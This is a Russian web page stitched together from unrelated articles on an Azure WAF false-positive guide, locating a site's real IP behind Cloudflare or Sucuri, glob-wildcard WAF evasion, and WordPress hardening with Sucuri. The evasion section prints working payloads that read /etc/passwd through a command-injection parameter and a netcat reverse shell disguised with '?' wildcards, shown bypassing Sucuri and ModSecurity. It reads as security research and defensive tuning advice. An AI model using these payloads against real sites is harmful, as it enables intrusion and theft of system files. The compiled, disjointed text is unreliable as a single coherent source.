Access denied sucuri website firewall что делать

Обновлено: 06.07.2024

Существует несколько мер, которые можно принять, если запросы, которые должны пройти через брандмауэр веб-приложения (WAF), блокируются.

Сначала ознакомьтесь с документами, в которых содержатся общие сведения о WAF и описание конфигурации WAF. Кроме того, включите мониторинг WAF. В этих статьях объясняется, как работают функции и наборы правил WAF, а также, как получить доступ к журналам WAF.

Стандартные наборы правил OWASP являются очень строгими, и их необходимо настраивать в соответствии с конкретными потребностями приложения или организации, использующей WAF. Совершенно нормальным (и в большинстве случаев ожидаемым) явлением является настройка исключений из правил, создание настраиваемых правил и даже отключение тех правил, которые могут приводить к проблемам и ложноположительным результатам. Политики для конкретного сайта и URI позволяют применять такие изменения только к определенным сайтам или URI, поэтому они не должны затрагивать другие сайты, где соответствующих проблем нет.

Основные сведения о журналах WAF

Журналы WAF предназначены для отображения всех запросов, пропущенных или заблокированных WAF. Это реестр всех проверенных запросов, которые были пропущены или заблокированы. Если вы заметили, что WAF блокирует запрос, который не должен блокироваться (ложноположительный результат), можно выполнить несколько действий. Сначала ограничьте область и найдите конкретный запрос. Просмотрите журналы, чтобы найти конкретный URI, метку времени или идентификатор транзакции для запроса. После того, как связанные записи журнала будут найдены, можно начинать обработку ложноположительных результатов.

Предположим, что у вас есть допустимый трафик, содержащий строку 1=1, который вы хотите передать через WAF. При попытке выполнить запрос WAF блокирует трафик, содержащий строку 1=1 в любом параметре или поле. Это строка часто связана с атакой путем внедрения кода SQL. Можно просмотреть журналы и определить метку времени запроса и правила, которые обусловили блокировку или пропуск трафика.

В следующем примере можно увидеть, как во время одного запроса активируются четыре правила (с помощью поля транзакции). Первое правило срабатывает, так как в запросе использовался числовой или IP-адрес URL, что увеличивает показатель аномалии на три, поскольку соответствует уровню предупреждения. Следующее сработавшее правило — 942130 (его нужно было найти). В поле details.data можно увидеть 1=1. Это увеличивает показатель аномалии еще на три, поскольку также соответствует уровню предупреждения. Вообще каждое правило с действием Соответствие (т. е. сработавшее правило) увеличивает показатель аномалии, и на этом этапе данный показатель был бы равен шести. Дополнительные сведения см. в статье Режим оценки аномалий.

Последние две записи журнала показывают, что запрос был заблокирован, так как показатель аномалии оказался достаточно высоким. Эти записи имеют другое, отличное от первых других действие. Для них указано, что они фактически блокировали запрос. Эти правила являются обязательными не могут быть отключены. Их следует рассматривать не как правила, а скорее как элементы базовой внутренней инфраструктуры WAF.

Борьба с ложноположительными результатами

Имея эту информацию и зная, что именно правило 942130 соответствует строке 1=1, мы можем выполнить несколько действий, чтобы предотвратить блокирование нашего трафика:

использовать список исключений;

Дополнительные сведения о списках исключений см. в статье о конфигурации WAF.

Использование списка исключений

Чтобы принять обоснованное решение об обработке ложноположительного результата, важно ознакомиться с технологиями, которые использует приложение. Предположим, что в вашем стеке технологий нет SQL Server, и вы получаете ложноположительные результаты, связанные с этими правилами. Отключение этих правил не всегда приводит к ослаблению безопасности.

Одним из преимуществ списка исключений является отключение только определенной части запроса. Однако это означает, что определенное исключение применяется ко всему трафику, проходящему через WAF, так как этот параметр является глобальным. Например, если 1=1 является допустимым текстом в запросе для определенного приложения, но не для других приложений, могут возникнуть проблемы. Еще одним преимуществом является возможность выбора между телом, заголовками и файлами cookie, которые следует исключать при выполнении определенного условия, вместо исключения всего запроса.

Бывают случаи, когда определенные параметры передаются в WAF способом, который не является интуитивно понятным. Например, при проверке подлинности с помощью Azure Active Directory передается маркер. Этот маркер, __RequestVerificationToken, как правило, передается в качестве файла cookie запроса. Однако в некоторых случаях, когда файлы cookie отключены, этот маркер также передается в качестве атрибута запроса ("аргумента"). В этом случае необходимо убедиться, что __RequestVerificationToken добавляется в список исключений вместе с именем атрибута запроса.

В этом примере необходимо исключить имя атрибута запроса, которое равно text1. Это очевидно, поскольку имя атрибута можно увидеть в журналах брандмауэра: данные: сопоставленные данные: 1=1, найдено в ARGS:text1: 1=1. Мы видим атрибут text1. Кроме того, имя этого атрибута можно найти несколькими другими способами. Они приведены в разделе Поиск имен атрибутов запроса.

Отключение правил

Еще один способ обойти ложноположительный результат — отключить правило, сработавшее на входных данных, которые WAF посчитал вредоносными. Так как вы проанализировали журналы WAF и выяснили, что сработало правило 942130, вы можете отключить его на портале Azure. См. статью Настройка правил брандмауэра веб-приложения на портале Azure.

Одним из преимуществ отключения правила является возможность отключить его для всего WAF, если известно, что весь трафик, содержащий определенное условие, которое обычно блокируется, является допустимым. Однако если такой трафик является допустимым лишь в определенном сценарии, отключение соответствующего правило для всего WAF приведет к уязвимости, так как этот параметр является глобальным.

Поиск имен атрибутов запроса

С помощью средства Fiddler можно проверить отдельные запросы и определить, какие именно поля веб-страницы вызываются. Это позволяет исключить определенные поля из области проверки с помощью списков исключений.

В этом примере можно увидеть, что поле, в котором была введена строка 1=1, называется text1.

Это поле можно исключить. Чтобы узнать больше о списках исключений, ознакомьтесь со статьей Предельный размер запросов брандмауэра веб-приложения и списки исключений. В этом случае вы можете исключить оценку, настроив приведенные ниже исключения.

Вы можете также просмотреть журналы брандмауэра, чтобы понять, что нужно добавить в список исключений. Сведения о том, как включить ведение журнала, см. в статье о работоспособности серверной части, журналах ресурсов и метриках для шлюза приложений.

Просмотрите журнал брандмауэра в файле PT1H.json за час, в течение которого был отправлен запрос, который требуется проверить.

В этом примере можно увидеть четыре правила с одинаковым идентификатором транзакции, которые сработали в одно и то же время:

Зная, как работают наборы правил CRS, и что набор правил CRS 3.0 работает с системой оценки аномалий (см. статью Брандмауэр веб-приложений для шлюза приложений Azure), вы понимаете, что два нижних правила со свойством action: Blocked блокируют трафик на основе общей оценки аномалий. Правила, на которые следует обратить внимание, являются двумя верхними.

Первая запись заносится в журнал, так как пользователь перешел к шлюзу приложений по числовому IP-адресу, что в данном случае можно игнорировать.

Второе правило (942130) является более интересным. В подробностях можно увидеть, что это правило выявило шаблон (1=1) в поле text1. Повторите выполненные ранее действия, чтобы исключить имя атрибута запроса, которое равно 1=1.

Поиск имен заголовков запросов

Fiddler — это удобный инструмент для поиска имен заголовков запросов. На следующем снимке экрана показаны заголовки запроса GET, которые содержат такие сведения, как тип содержимого, агент пользователя и т. д.

Поиск имен файлов cookie запроса

Если запрос содержит файлы cookie, можно выбрать вкладку Файлы cookie, чтобы просмотреть их в Fiddler.

Ограничение глобальных параметров для исключения ложноположительных результатов

Отключение проверки текста запроса

Если для параметра Проверять текст запроса установить значение "Выкл.", текст запросов всего трафика не будет оцениваться вашим WAF. Это может быть полезно, если известно, что текст запросов не является вредоносным для приложения.

Если отключить этот параметр, проверка не будет применятся только к тексту запросов. Заголовки и файлы cookie по-прежнему проверяются, если только отдельные объекты не исключены с помощью списков исключений.

Ограничения размера файла

Ограничив размер файла в WAF, вы ограничиваете возможность атаки на веб-серверы. Когда разрешена загрузка больших файлов, риск перегрузки серверной части увеличивается. Ограничение размера файла значением, типовым для сценария использования вашего приложения, — один из способов предотвращения атак.

Если вы уверены, что приложение никогда не потребует передачи файлов размер которых превышает заданный, вы можете ограничить этот размер, установив лимит.

Метрики брандмауэра (только WAF_v1)

Для брандмауэров веб-приложений версии v1 на портале теперь доступны следующие метрики:

Счетчик заблокированных запросов брандмауэром веб-приложения — количество запросов, которые были заблокированы.
Счетчик заблокированных правил брандмауэром веб-приложения — количество правил, которые сработали и запрос был заблокирован.
Общее распределение правил брандмауэра веб-приложений — все правила, сработавшие во время проверки.

Чтобы включить метрики, выберите на портале вкладку Метрики, а затем — одну из трех метрик.

Этичный хакинг и тестирование на проникновение, информационная безопасность

Файерволы веб приложений (Web Application Firewall — WAF) — это надстройки (модули) веб-серверов (как например mod_security для Apache), либо сервисы (как например Cloudflare, Incapsula, SUCURI), которые до того, как передать полученный от пользователя запрос веб-серверу, анализируют его и, в случае если он может представлять опасность, блокируют, либо модифицируют его.

Файерволы приложений дополнительно могут выполнять функции выявления и предотвращения вторжений.

Если WAF является модулем веб-сервера, то данное программное обеспечение работает на том же самом сервере (компьютере). Если же WAF является отдельным сервисом, то схема работы следующая:

1) Веб-сайт, который нужно защитить, работает на том же самом сервере без защиты.

2) В DNS записи A в качестве IP данного сайта указываются IP адреса файервола веб приложений, то есть сервиса Cloudflare, Incapsula, SUCURI или какого-то другого

3). После этого при обращении к защищаемому веб-сайту все запросы уже направляются в сервис Cloudflare, Incapsula, SUCURI или аналога

4) Данный сервис получает запрос, обрабатывает его и делает запрос на исходный сервер (который, напомню, даже не защищён), получает с него нужную страницу/данные и перенаправляет запросившему пользователю.

Для нормального посетителя, подключающегося к веб-сайту, нет никакой разницы, всё происходит незаметно. Но для целей аудита веб-сайта, файловые файерволы могут стать проблемами. WAF блокируют вредоносные запросы и защищают от (D)DoS атак. При этом никакие запросы от скриптов (ботов) могут вообще не приниматься — отфильтровываться на начальном этапе, либо на этапе прохождения капчи, что делает невозможным использованиео таких инструментов, как WPScan, sqlmap и других программ для поиска уязвимости и оценки безопасности веб-сайта. Если в случае встроенных в сервер WAF (к примеру, mod_security) возможен только один вариант обхода — конструкция таких запросов, которые обманывают правила, основанные на паттернах (образцах), то для WAF-сервисов возможно целых два варианта:

1) Такой же, как и для обычных WAF, - то есть попытка перехитрить правила;

2) Отправка запросов напрямую к серверу, минуя WAF.

Кстати, смотрите статьи:

В подавляющем большинстве случаев исходный сервер (который пытаются защитить с помощью внешнего сервиса WAF) по-прежнему настроен принимать и обрабатывать запросы от кого угодно (а не только от WAF, который выступает в роли прокси). Поэтому можно полностью нивелировать попытку защититься сервисом WAF если всего лишь знать настоящий IP веб-сайта.

Сбор информации о владельце сайта. Поиск сайтов одного лица
Как узнать настоящий IP сайта в Cloudflare
Как узнать, сайт за CloudFlare или нет
Препарирование скамерского сайта (КЕЙС)
Поиск сетки вредоносных сайтов (кейс)
Поиск человека по IP (кейс)

Этим задача посвящены специализированные инструменты, такие как CloudFail. В указанных статьях я часто применял такой метод: посмотреть на SecurityTrails историю DNS записей для домена и проверял (с помощью cURL и указания имени хоста), какой из найденных IP адресов ответит должным образом.

Эта техника, а также некоторые другие, автоматизированы в скрипте Bypass firewalls by abusing DNS history (это такое название у программы).

В работе используются следующие сервисы:

Этот скрипт пытается узнать настоящий IP разными методами:

анализ истории DNS
поиск субдоменов и анализ IP адресов субдоменов

Ко всем найденным IP адресам делаются запросы для проверки.

Установка Bypass firewalls by abusing DNS history в Kali Linux:

Установка Bypass firewalls by abusing DNS history в BlackArch:

Использование программы очень простое — всего одна обязательная опция -d после которой нужно указать анализируемый домен:

Столбец [IP] — этот тот самый адрес, к которому можно обратиться напрямую, минуя WAF. [Confidence] — это степень уверенности, что данные адрес является верным (может быть несколько вариантов IP с разной степенью уверенности). [Organisation] — кому принадлежит найденный IP (какой организации).

Программа соберёт список IP и будет проверять их только для основного домена. Если же вы хотите проверить, подходят ли найденные IP для обнаруженных субдоменов, то используйте опцию -a:

Чтобы сохранить результаты в файл, используйте опцию -o, после которой нужно указать имя файла, например:

В файл будут сохранены только найденные IP.

Для более сложных случаев, когда программа не смогла с наскока определить настоящий IP адрес, ей можно помочь. Дело в том, что хотя скрипт bypass-firewall-dns-history и использует быстрые сервисы поиска субдоменов, они не всегда показывают самые полные результаты. Вы можете собрать свой собственный список субдоменов с помощью других програм и сервисов. К примеру с помощью Amass:

Найденные субдомены будут сохранены в файл subdm.txt. Теперь используя опцию -l можно указать путь до файла с дополнительными поддоменами, которые также будут использоваться для поиска настоящего IP сайта:

В данном случае настоящий IP был определён даже и без поиска субдоменов внешней программой — это просто пример алгоритма действия для сложных случаев.

Как использовать найденный IP (последующая эксплуатация)

Когда вы нашли способ обойти файервол веб-приложения (узнали настоящий IP сайта), то у вас есть две опции:

Первый вариант: отредактируйте ваш файл host — в результате любые запросы из вашей ОС от любой программы будут отправляться напрямую к сайту, минуя файервол. В системах Linux/Mac это файл /etc/hosts, а в Windows это файл c:\Windows\System32\Drivers\etc\hosts. Добавьте в него примерно такую запись:

Второй вариант: настройка Burp Suite. Выполните настройку по аналогии со скриншотом:

Часто в веб-приложениях обнаруживается уязвимость удаленного выполнения команд Remote Command Execution и это подтверждается «OWASP Top 10 application security risk 2017», которые ставят «Injection» на первое место:

Угрозы Injection (внедрение), такие как SQL, NoSQL, OS и LDAP injection, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Враждебные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.

Стандартные подстановочные знаки Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для получения дополнительной информации о стандартных подстановочных знаках обратитесь к странице руководства, набрав man 7 glob. Не все знают, что существует множество синтаксисов bash, которые позволяют вам выполнять системные команды, просто используя вопросительный знак «?», косую черту «/», цифры и буквы. Вы даже можете получить список файлов или получить их содержимое, используя одно и то же количество символов. Как? Я приведу несколько примеров:

Вместо выполнения команды ls вы можете использовать следующий синтаксис: /. /?s

вывод справки «ls» выполняется с использованием синтаксиса / . /? s

С этим синтаксисом вы можете выполнять практически все, что вы хотите. Допустим, ваша уязвимая цель находится за брандмауэром веб-приложений, и этот WAF имеет правило, блокирующее все запросы, содержащие /etc/passwd или /bin/ls внутри значения параметра GET или внутри тела в запросе POST. Если вы попытаетесь сделать запрос наподобие /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF, и ваш IP будет забанен навсегда и помечен как «еще один f *** in’ redteamer ». Но у вас есть секретное оружие в вашем кармане, называемое подстановочным знаком. Если вам повезет, то целевой WAF может не иметь «уровня паранойи», достаточного для того, чтобы блокировать таких персонажей, как ? и / внутри строки запроса. Таким образом, вы можете легко сделать ваш запрос (в кодировке URL) следующим образом: /?cmd=%2f. %2f??t%20%2f. %2fp??s??

/bin/cat /etc/passwd выполнился с символом подставновки

Как вы можете видеть на скриншоте выше, есть 3 ошибки /bin/cat*: Is a directory». Это происходит потому, что /. /??t может быть «переведен» процессом globbing в /bin/cat, а также /dev/net или /etc/apt, и т.п…

Подстановочный знак вопроса представляет только один символ, который может быть любым символом. Таким образом, если вы знаете часть имени файла, но не одну букву, вы можете использовать этот шаблон. Например, ls *. будет список всех файлов в текущем каталоге, которые имеют расширение 3 символа в длину. И таким образом, файлы с расширениями, такими как .jpg, .jpg, .txt будут перечислены.

Используя этот шаблон, вы можете запустить reverse shell (обратный шелл), используя netcat. Допустим, вам нужно выполнить reverse shell до 127.0.0.1 на порту 1337 (обычно это nc -e /bin/bash 127.0.0.1 1337), вы можете сделать это с помощью синтаксиса, например:
/. /n? -e /. /b??h 2130706433 1337

В моем kali (дистрибутив линукс) мне нужно использовать nc.traditional вместо nc, у которого нет параметра -e, чтобы выполнить /bin/bash после подключения. Полезная нагрузка становится примерно такой:

executing a reverse shell using wildcard

Соответственно две предыдущие команды можно использовать так:

Стандартная команда: /bin/nc 127.0.0.1 1337
Команда для атаки: /. /n? 2130706433 1337
Используемые символы: / ? n 2

Стандартная команда: /bin/cat /etc/passwd
Команда для атаки: /. /??t /. /??ss??
Используемые символы: / ? t s

Зачем использовать ? вместо того * ? Поскольку звездочка (*) широко используется для синтаксиса комментариев (что-то вроде / * эй, я комментарий * /), и многие WAF блокируют его, чтобы избежать SQL-инъекций … что-то вроде UNION+SELECT+1,2,3/*

Перечислять файлы и каталоги, используя echo? Да, можно. Команда echo может перечислять файлы и каталоги в файловой системе, используя подстановочные знаки. Например: echo /*/*ss* :

перечислять файлы и каталоги, используя команду echo

Это может быть использовано на RCE для получения файлов и каталогов в целевой системе, например:

enumerate files and directories through a WAF

Но почему использование подстановочного знака (и, в частности, знака вопроса) может обойти набор правил WAF? Позвольте мне начать с Sucuri WAF!

Test evasion technique on Sucuri WAF

Какой лучший способ проверить набор правил WAF? Создайте самый уязвимый PHP-скрипт в мире и опробуйте все возможные приемы! На скриншоте выше мы видим: в верхней левой панели мое уродливое веб-приложение (это просто PHP-скрипт, который выполняет команды):

В левой нижней части окна вы можете увидеть тест удаленного выполнения команд на моем веб-сайте, защищенный Sucuri WAF (test1.unicresit.it). Как вы видите, Sucuri блокирует мой запрос по причине «An attempted RFI/LFI was detected and blocked». Эта причина не совсем верна, но хорошая новость заключается в том, что WAF заблокировал мою атаку (я даже не знаю, почему брандмауэр должен сообщить мне причину заблокированного запроса, но должна быть причина… наверняка).

Правая панель является самой интересной из всех, потому что она показывает тот же запрос, но с использованием «вопросительного знака» в качестве подстановочного знака. Результат пугающий … Запрос принят Sucuri WAF, и мое приложение выполняет команду, которую я ввел в параметр c. Теперь я могу прочитать файл /etc/passwd и даже больше … Я могу прочитать исходный текст PHP-приложения, я могу запустить обратную оболочку, используя netcat (или, как мне нравится называть это: /. /?c), или Я мог бы выполнять такие программы, как curl или wget, чтобы выявить реальный IP-адрес веб-сервера, который позволил бы мне обойти WAF, подключившись напрямую к цели.

Я не знаю, происходит ли это из-за того, что я что-то пропустил в своей конфигурации Sucuri WAF… Я спросил у Sucuri, является ли это активным поведением и настроено ли оно по умолчанию на «низкий уровень паранойи», чтобы избежать ложных положительные, и я все еще жду ответа.

Пожалуйста, имейте в виду, что я делаю этот тест, используя тупой скрипт PHP, который не представляет реальный сценарий. ИМХО, вы не должны судить о WAF, основываясь на том, сколько запросов он блокирует, и Sucuri не менее безопасен только потому, что не может полностью защитить намеренно уязвимый веб-сайт.

Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и Nginx connector, является лучшим решением, которое я когда-либо использовал для развертывания брандмауэра веб-приложений. Я также большой поклонник набора основных правил OWASP (OWASP Core Rule Set)! Я использую его повсюду, но, если вы плохо знаете этот набор правил, вам нужно обратить внимание на небольшую вещь, называемую уровень паранои!

Следующая «схема», которую вы можете найти здесь, является хорошим обзором того, как каждый уровень работает по правилам «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1, строка запроса может содержать только символы ASCII в диапазоне 1–255, и она становится более строгой, пока PL4 не блокирует все, что не является символом ASCII в очень небольшом диапазоне.

давайте проведем тест со всеми уровнями!

Уровень паранойи 0 означает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может без проблем привести к удаленному выполнению команд. Не паникуйте 🙂

RCE принят ModSecurity с PL0 (не паникуйте, все в порядке)

Я сгруппировал уровни 1 и 2, потому что их различия (как вы можете видеть на схеме выше) не влияют на нашу цель, все действия такие же, как описано ниже.

с PL1 (и PL2) ModSecurity явно блокирует мой запрос «OS File Access Attempt» (930120). Но что, если я использую знак вопроса в качестве подстановочного знака? Запрос принят моим WAF:

with PL1 and PL2 my RCE attack was not blocked and I can read /etc/passwd

Это происходит потому, что «знак вопроса», «косая черта» и «пробел» находятся в допустимом диапазоне символов в правилах 920271 и 920272. Более того, использование «вопросительных знаков» вместо командного синтаксиса позволяет мне избежать «OS Files» фильтры, которые перехватывают общие команды и файлы операционных систем (такие как /etc/passwd в нашем случае).

Этот уровень паранойи имеет плюс: он блокирует запрос, содержащий символы типа «?» более чем в n раз. Фактически, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». это здорово! отличная работа ModSecurity, ты выиграл плюшевого мишку! 🐻 Но, к сожалению, мое веб-приложение настолько уродливо и уязвимо, что я все равно могу использовать меньше вопросительных знаков и читать файл passwd, используя следующий синтаксис: c=/?in/cat+/et?/passw?

Как видите, используя всего 3 «?» Вопросительный знак Я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. ОК, это не значит, что вы должны установить уровень паранойи на 4 всегда и безоговорочно. Имейте в виду, что я тестирую его с действительно глупым PHP-скриптом, который не представляет реальный сценарий … Я надеюсь …

Вернуться к статическим HTML-страницам … это самый быстрый способ повысить безопасность вашего веб-приложения! Трудно сказать, какая конфигурация лучше всего избегать уклонения от WAF или какой уровень паранойи лучше всего использовать. ИМХО, мы не должны доверять набору правил, равномерно распределенному в веб-приложении. Действительно, я думаю, что мы должны настроить наши правила WAF, контекстуализированные для каждой функциональности приложения.

В любом случае, когда вы пишете новый SecRule на свой ModSecurity или что-то подобное, имейте в виду, что, вероятно, есть много способов обойти ваш фильтр или регулярное выражение в правиле. Поэтому сразу обдумывайте все возможности его обхода.

WordPress составляют большую часть веб и широко используется как крупными корпорациями, так и DYI (do it yourself) блогерами. Поэтому данная CMS более всего подвержена для хакерских атак. Для обеспечения безопасности сайтов используют так называемые фаерволы (Firewall). Фаервол, вопреки распространенному негативному мнению о бессмысленном запрете доступа к наилучшим сайтам интернета, на самом деле является ценной мерой для обеспечения безопасности получения входящего и исходящего трафика, для защиты сетей, серверов и веб-сайтов, а также самых компьютеров.

Работа фаервола реализована на следующих принципах:

Фильтрация: все пакетные данные, которые поступают анализируются набором фильтров.

Контроль (Inspection): производится дополнительная проверка пакетов принадлежащих текущему соединению. Проверка выполняется на корректность и в случае некорректности входящего пакета (например, адрес отправителя не равен адресу, к которому посылается запрос или же номер пакета не соответствует ожидаемому), то такой пакет блокируется и запись о событии производится в лог. Тем самым позволяется дополнительно защититься от атак.

Вашему вниманию предлагается наиболее популярные плагины для WordPress для обеспечения безопасности поддерживаемых веб-сайтов.

Sucuri firewall

Sucuri имеет наиболее высокий уровень защиты WordPress. Его firewall создает прокси-сервер, который делает Sucuri посредником между вашим сайтом и остальным пространством сети, тем самым заботясь обо всех вредоносных атаках и самого трафика. Данный плагин позволяет просматривать нарушения в безопасности в логе активности, сканировать сайт на выявление каких-либо несоответствий в файловой системе, тем самым быстро восстановить поврежденный файл.

Также Sucuri за дополнительную сумму позволяет установить мощный сетевой экран Sucuri Website Firewall.

Цена: от $ 9.99 в месяц | Дополнительная информация

WordPress Simple Security Firewall

Более подробная информация доступна по ссылке ниже.

All In One WP Security & Firewall

За последние несколько лет плагин All in One WP Security&Firewall стал одним из самых популярных плагинов безопасности WordPress. Он предлагает полный набор функций для обеспечения безопасности веб-сайта настолько, насколько это возможно, основой чего является функция межсетевого экрана.

Плагин имеет несколько режимов: базовый, средний, продвинутый. Все они предназначены для обработки вредоносного кода вашего сайта. После установки плагина вы можете легко настроить их в меню WP Admin.

NinjaFirewall

Wordfence

Wordfence зарекомендовала себя как монстр в WordPress безопасности. Этот бесплатный плагин WordPress безопасности предлагает отличный сервис с широким выбором функций. Одним из них является сам firewall.

Wordfence firewall предназначен для блокировки общих угроз безопасности, такие как вредоносное сканирование от хакеров и ботов и все, что может вызвать серьезные проблемы с веб-сайтом, ухудшить его рейтинг в поисковиках и многое другое.

BulletProof Security

Еще один популярный плагин WordPress, так же как и перечисленные выше предлагают широкий спектр возможностей. BulletProof заявляют, что их плагин будет защищать от 100,000 различных атак.

Заключение

Безопасность WordPress главный момент для обеспечения стабильной работы веб-сайтов, к чему необходимо отнестись серьезно. Если не страховаться, но появляется большая вероятность, что ваш сайт будет взломан, в результате чего сайт может попасть в черный список из-за рассылки спама или же вовсе потерять все данные.

Платная версия Sucuri Security является одним из лучших сервисов для защиты Вордпресс сайтов от хакеров, потому что обеспечивает высший уровень безопасности и предлагает несколько дополнительных сервисов.

Высший уровень безопасности
Снижение нагрузки на сервер за счет обработки вредоносного трафика на серверах Сукури
Ускорение сайта за счет подключения к собственному CDN Anycast
Гарантия восстановления сайта в случае, если сайт взломают

Этот сервис стоит от 199$ / год. В этой статье вы узнаете, как настроить мощную защиту сайта с файрволом на уровне сервера на основе бесплатного плагина Sucuri Security, в котором есть хорошие инструменты для наблюдения за безопасностью сайта.

Преимущество этого плагина в том, что вы видите состояние безопасности сайта в админке Вордпресс:

Плагин сравнивает файлы ядра Вордпресс с файлам в репозитарии Вордпресс (каждые 12 часов)
Сканер SucuriSiteCheck проверяет сайт на наличие вредоносного кода (каждые 6 часов)
Плагин проверяет, что сайт не находится в черных списках поисковиков и антивирусов (24 часа)
В логах событий нет ничего подозрительного:

После установки плагина вы сделаете несколько дополнительных настроек и добавите файрвол.

В последнем разделе вы узнаете, как ускорить загрузку сайта с помощью подключения к бесплатной сети CDN, которая поддерживается разработчиками Вордпресс.

Это довольно длинная статья с большим количеством ручных настроек. Если вы не хотите тратить время на применение всех настроек, приглашаю вас на курс Безопасность Вордпресс за 2 вечера, в котором вы примените все настройки автоматически.

Сделайте базовые настройки

Сделайте основные настройки, которые рекомендуют применить разработчики всех плагинов и сервисов безопасности:

Обновите Вордпресс, плагины и тему до последней версии,
Настройте автоматическое обновление ПО,
Используйте популярные и обновляемые темы и плагины,
Используйте сложные логины и пароли для аккаунтов, базы данных, е-мейла и хостинга,
Не используйте одинаковые имя пользователя и логин,
Используйте SSL и FTPS.

Установите один из бесплатных плагинов для ограничения количества попыток авторизации. Limit Login Attempts, Limit Login Attempts Reloaded, Login LockDown.

Для большей безопасности вы можете установить платный плагин Security Ninja, который использует базу данных вредоносных IP. Посетителям с этих IP можно полностью запретить посещение сайта, или разрешить посещение, но заблокировать возможность авторизоваться.

Настройте Sucuri Security

Логи событий начинают отображаться на панели Dashboard сразу после генерации ключа.

С сервера Sucuri приходит информация о заражении сайта и статусе нахождения в черных списках.

После того как вы все настроите, вы можете заходить на страницу Dashboard и Last Logins, чтобы проверить, что все в порядке.

WordPress Integrity Scanner

Настройки безопасности Sucuri Security

В разделе Hardening Options включите все настройки, кроме Website Firewall Protection. Это платная функция, которая включается после оплаты подписки.

Применяйте настройки Block PHP Files in Uploads Directory, WP-CONTENT Directory и WP-INCLUDES Directory с осторожностью, потому что некоторые плагины или темы могут помещать свои PHP файлы в эти папки.

Если какой-то функционал темы или плагина пропал, добавьте соответствующий файл в исключения в разделе Whitelist Blocked PHP Files.

Настройте ограничение количества попыток авторизации

Укажите количество неудачных попыток доступа, после которого IP посетителя попадает в бан. Раздел Password Guessing Brute Force Attacks:

Настройте оповещения о событиях на сайте

После взлома

Дополнительные настройки

Добавьте правила в functions.php

Не добавляйте код напрямую в файл темы, потому что при обновлении темы файл с вашими изменениями будет заменен новым файлом. Добавьте код в functions.php дочерней темы или с помощью специальных плагинов.

Скройте версию Вордпресс, скриптов и стилей

По умолчанию Вордпресс оставляет мета-теги с версией ПО на страницах сайта. Это делается для отслеживания количества сайтов, работающих на Вордпресс.

Также информация о версии ПО используется хакерами для атаки на сайты с устаревшей версией софта, так как описание уязвимостей устаревших версий находится в открытом доступе.

Хотя вы должны использовать последнюю версию софта, эту информацию лучше скрыть.

Добавьте этот код в файл functions.php:

Измените текст ошибки на странице авторизации

Удалите ссылку WLW из заголовков страниц

Если вы не используете Windows Live Writer, то лучше удалить эту ссылку из заголовков, потому что она указывает на факт использования Вордпресс.

Чтобы удалить эту ссылку, добавьте эту строку в functions.php:

Удалите ссылку RSD из заголовков страниц

Если вы не пользуетесь сервисами Really Simple Discovery, такими как пингбэки, то нет необходимости отображать эти ссылки в хедере.

Если вы хотите скрыть факт использования Вордпресс, добавьте эту строку в functions.php:

Добавьте правила в wp-config.php

Файл wp-config.phpпо умолчанию находится в корневой папке сайта и является главным конфигурационным файлом Вордпресс.

В файле хранится информация о подключении к базе данных, секретные ключи для шифрования информации, префикс базы данных, включение режима debug и путь к папке Вордпресс.

Права доступа к файлам и папкам

У всех папок и файлов сайта должны быть правильные разрешения. Добавьте этот код в wp-config. Это правило дает всем файлам и папкам сайта максимальные права 644 и 755:

Для некоторых файлов и папок можно установить более сильные ограничения:

Файл wp-config находится в корневой папке сайта, дайте ему права доступа 400. Если сайт стал недоступен, дайте 440.

Для большей безопасности можно перенести файл на один уровень вверх. Этот уровень недоступен из интернета.

Измените префикс базы данных

Таблицы базы данных имеют по умолчанию префикс wp_ . Большинство атак на базу данных проводится с помощью ботов, которые используют стандартный префикс в своих запросах к базе данных.

Изменение префикса базы данных поможет отразить автоматические атаки, но не поможет в случае ручной атаки. Хотя может показаться, что изменение префикса не имеет смысла, смысл все таки есть.

Чтобы изменить префикс нужно сделать изменения в файле wp-config.php и базе данных.

Добавьте правила в .htaccess

Файл .htaccess (Hypertext Access, Доступ к гипертексту) — это конфигурационный файл сервера, который находится в корневой папке сайта.

Перенесите страницу авторизации на другой адрес

По умолчанию страница авторизации находится по адресу . /wp-login.php , но для уменьшения количества атак с перебором паролей вы можете перенести ее в другое место, например . /entrypage.html , . /ep или . /e72jkr4 .

То есть хакеру нужно будет сначала найти страницу, на которой он может пробовать подобрать пароль, а потом попробовать подобрать его.

Хотя хакер может обойти необходимость посещения страницы авторизации, изменение адреса страницы входа уменьшит количество брут-форс атак.

Запретите нумерацию пользователей

В этом случае хакер будет знать имя пользователя, и ему останется только узнать пароль.

Даже если пользователи используют сложные пароли, злоумышленнику лучше не знать ID пользователей. Добавьте этот код в .htaccess:

Или добавьте этот код в functions.php:

Отключите XML-RPC

XML-RPC — это API интерфейс, который используется для доступа к сайту через мобильные приложения, для трекбэков и пингбэков и используется плагином Jetpack.

Если вы пользуетесь чем-то из этого, то оставьте эту функцию включенной или частично включенной. Если не пользуетесь, то лучше отключить, потому что хакеры могут использовать этот интерфейс для атак с перебором логинов и паролей.

Чтобы полностью отключить XML-RPC, добавьте это правило в .htaccess:

Эти функции можно включить вручную или с помощью бесплатных плагинов. Я использую платную версию плагина Clearfy, в котором можно включить эти функции в несколько кликов:

В данный момент плагин версии 3.3.1 имеет 56 функций. Подробное описание на странице плагина.

Файрвол

В этом разделе собраны правила, которые защитят ваш сайт от 99,9% атак, вредоносных запросов, SQL-внедрений и всех других типов угроз.

Простой в установке, но очень мощный и эффективный файрвол, потребляющий минимальное количество ресурсов сервера.

Благодаря фильтрации вредоносного трафика, файрвол уменьшает нагрузку на сайт, это освободит ресурсы сервера для обслуживания большего количество посетителей.

Этот контент доступен после оплаты.

Защита WordPress на основе Sucuri Security

Вы добавите несколько правил в functions.php, wp-config.php и .htaccess:

Базовый файрвол
Защитите сайт от внедрения вредоносных скриптов
Заблокируете вредоносные запросы
Добавите защиту от XSS-атак
Защиту от кликджекинга
Добавите мощный файрвол
Подключите бесплатную сеть CDN

И сделаете несколько других настроек.
